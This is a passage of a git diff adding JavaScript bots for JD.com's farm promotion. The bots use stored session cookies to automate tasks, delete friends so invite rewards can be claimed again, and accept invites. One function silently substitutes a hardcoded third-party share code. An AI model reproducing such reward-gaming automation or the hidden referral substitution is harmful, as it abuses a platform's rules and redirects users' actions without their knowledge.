decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + await GetCollect(); + } + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + await jdFruit(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; + try { + await initForFarm(); + await getAwardInviteFriend();//删除好友与接受邀请成为别人的好友 + if ($.farmInfo.farmUserPro) { + message = `删除好友与接受好友邀请已完成`; + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`); + message+=`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + //await showMsg(); +} +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { "shareCode": `${friend.shareCode}`, "version": 8, "channel": 1 }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } +} +async function GetCollect() { + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}互助码】${$.farmInfo.farmUserPro.shareCode}`); + newShareCodes.push($.farmInfo.farmUserPro.shareCode) + } else { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}互助码】\n数据异常,使用City的互助码:4921b9fe76a340f695f9621b53f35cf5`); + newShareCodes.push("4921b9fe76a340f695f9621b53f35cf5"); + } + } catch (e) { + $.logErr(e); + } +} +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = { "type": 2, "version": 6, "channel": 2 }; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + $.waterFriendGotAwardRes = await request(functionId, { "version": 4, "channel": 1 }); +} +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, { "version": 5, "channel": 1 }); +} +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, { "cardType": cardType }); +} +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), { 'type': type }); +} +//浇水API +async function waterGoodForFarm() { + await $.wait(1000); + console.log('等待了1秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} +async function lotteryForTurntableFarm() { + await $.wait(2000); + console.log('等待了2秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), { type: 1, version: 4, channel: 1 }); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = { "type": type, "adId": adId, "version": 4, "channel": 1 }; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = { "type": 2, "adId": type, "version": 4, "channel": 1 }; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} +//新版助力好友信息API +async function farmAssistInit() { + const functionId = arguments.callee.name.toString(); + $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//新版领取助力奖励API +async function receiveStageEnergy() { + const functionId = arguments.callee.name.toString(); + $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = { "type": 1, "hongBaoTimes": 100, "version": 3 }; + $.waterRain = await request(functionId, body); +} +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, { "type": 1 }); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', { "type": 2 }) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), { type: 3 }); +} +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({ "version": 4 }))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId, { "version": 14, "channel": 1, "babelChannel": "120" }); +} +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', { "version": 4, "channel": 1 }); + // console.log('aa', aa); +} +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = { "shareCode": shareCode, "version": 6, "channel": 1 } + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_get_share_code.js b/jd_get_share_code.js new file mode 100644 index 0000000..0111e01 --- /dev/null +++ b/jd_get_share_code.js @@ -0,0 +1,757 @@ +/* +一键获取我仓库所有需要互助类脚本的互助码(邀请码)(其中京东赚赚jd_jdzz.js如果今天达到5人助力则不能提取互助码) +没必要设置(cron)定时执行,需要的时候,自己手动执行一次即可 +注:临时活动的互助码不添加到此处,如有需要请手动运行对应临时活动脚本 +更新地址:jd_get_share_code.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#获取互助码 +20 13 * * 6 jd_get_share_code.js, tag=获取互助码, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 13 * * 6" script-path=jd_get_share_code.js, tag=获取互助码 + +===============Surge================= +获取互助码 = type=cron,cronexp="20 13 * * 6",wake-system=1,timeout=3600,script-path=jd_get_share_code.js + +============小火箭========= +获取互助码 = type=cron,script-path=jd_get_share_code.js, cronexpr="20 13 * * 6", timeout=3600, enable=true + */ +const $ = new Env("获取互助码"); +const JD_API_HOST = "https://api.m.jd.com/client.action"; +let cookiesArr = [], cookie = '', message; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.log('\n注:临时活动的互助码不添加到此处,如有需要请手动运行对应临时活动脚本\n') + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + 